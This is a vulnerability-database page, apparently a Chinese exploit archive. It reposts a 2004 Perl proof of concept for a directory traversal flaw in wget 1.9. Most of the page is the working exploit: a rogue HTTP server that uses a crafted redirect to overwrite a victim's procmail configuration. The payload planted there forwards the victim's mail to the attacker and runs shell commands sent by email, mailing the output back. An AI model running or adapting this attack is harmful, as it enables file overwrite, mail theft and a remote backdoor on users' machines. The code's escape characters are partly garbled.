wget 1.9 – Directory Traversal
漏洞ID | 1054815 | 漏洞类型 | |
发布时间 | 2004-12-15 | 更新时间 | 2004-12-15 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Multiple | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Min???? (jjminar fastmail fm)
# License: Public Domain
#
# When wget connects to us, we send it a HTTP redirect constructed so that wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username 'jan'
# 8-)).
use POSIX qw(strftime);
# This is our scheme/host/port
$server = "http://localhost:31340";
# Use this + DNS poisoning with wget 1.9 & CVS
#$server = "http://..";
# Wanna know who got infected?
#$log = "/dev/pts/1";
# The filename we will try to overwrite on the target system
$filename = "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.";
############### Payload #########################################
$email = 'your@mailbox';
$password = 'Pmrpuf ner cevzvgvirf';
$payload = <<EOP;
:0c
| mail -s 'Wgettrap mail copy' $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-Password: $password
| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'
EOP
chomp $payload;
############### Payload #########################################
# A simple directory traversal, for greater effect
$trick = "/.." . "%2f.." x 40;
open LOG, ">$log" if $log;
while(<STDIN>){
print LOG $_ if $log;
if (/Q$trick$filenameE/) {
#if (/%2f/) {
# We see the filename, so this is the second time
# they're here. Time to feed the sploit.
$second++;
} elsif (/^Range: bytes=(33)-/) {
# Appending goes like this:
# (1) Tell'em what you're gonna tell'em
# (2) Then tell'em just a half
# (3) Close it
# (4) Wait
# (5) They're comin' back, with wget -c
# (6) Tell'em the sploit
# (7) Close again
# (8) Wtf? They're comin' back with wget -c again
# (9) Tell'em the rest...
# (10) ... enjoying the backdoor at the same time
print LOG "File if $1 bytes longn" if $log;
} elsif (/^r?$/) {
# The HTTP headers are over. Let's do it!
$date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);
if (!$second) {
# Print the payload
print <<EOT;
HTTP/1.1 301 Moved Permanentlyr
Date: $dater
Server: wgettrap 1.1r
Accept-Ranges: bytesr
Location: $server$trick$filenamer
Content-Length: 43r
Connection: closer
Content-Type: text/htmlr
r
<html><head><title></title></head></html>r
EOT
} else {
# Print the redirection
print <<EOT;
HTTP/1.1 200 OKr
Date: $dater
Server: wgettrap 1.1r
Accept-Ranges: bytesr
Content-Length: 25r
Connection: closer
Content-Type: text/plainr
r
$payload
EOT
}
exit 0;
}
}
相关推荐: ICQ Pro 2003a – ‘ca1-icq.asm’ Password Bypass
ICQ Pro 2003a – ‘ca1-icq.asm’ Password Bypass 漏洞ID 1054024 漏洞类型 发布时间 2003-07-09 更新时间 2003-07-09 CVE编号 N/A CNNVD-ID N/A 漏洞平台 Window…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666